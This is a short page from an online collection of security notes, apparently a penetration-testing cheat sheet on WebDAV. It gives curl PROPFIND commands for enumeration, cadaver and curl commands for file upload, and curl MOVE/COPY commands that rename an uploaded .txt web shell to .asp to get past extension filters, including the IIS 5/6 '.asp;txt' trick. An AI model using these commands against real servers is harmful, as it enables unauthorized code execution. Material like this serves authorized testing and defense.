> For the complete documentation index, see [llms.txt](https://security-notes.gitbook.io/security-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security-notes.gitbook.io/security-notes/web-attacks/webdav.md). # WebDAV ## Enumeration Send a PROPFIND request to the server. We expect the server to answer in one of the following ways: * `HTTP 207: Multi-Status`: WebDAV is active and the requested path is valid * `HTTP 403: Forbidden`: Authentication required to perform the operation * `HTTP 405: Method Not Allowed`: WebDAV is active and the requested folder does not exist. This code is usually returned by Linux machines running Apache. * `HTTP 501: Not Supported`: WebDAV is not active ``` curl -vX PROPFIND --header 'Depth:0' '/' curl -vX PROPFIND --header 'Depth:0' '/' --user ':' --basic ``` ## File upload ### Cadaver Access the host. ``` cadaver ``` Cadaver will automatically prompt for credentials when performing restricted operations. ``` ls cd cat put get mput #multiple file upload. Supports wildcards mget #multiple file download. Supports wildcards move copy delete ``` ### Manual File upload functionality may require valid credentials. ``` curl -T '' '' #anonymous curl -T '' '' -u : ``` ### RCE Bypass extension filter by uploading a shell with a modified extension (such as .txt) and then use the MOVE command to rename it once uploaded to the server. ``` curl -X MOVE --header 'Destination:http:///shell.asp' '/shell.txt' curl -X COPY --header 'Destination:http:///shell.asp' '/shell.txt' ``` There is a vulnerability on IIS 5 and 6 where if a file is renamed to something like `.asp;txt` WebDAV will execute its content despite showing an error message. ``` curl -X MOVE --header 'Destination:http:///shell.asp;txt' '/shell.txt' curl -X MOVE --header 'Destination:http:///shell.asp%3b.txt' '/shell.txt' ```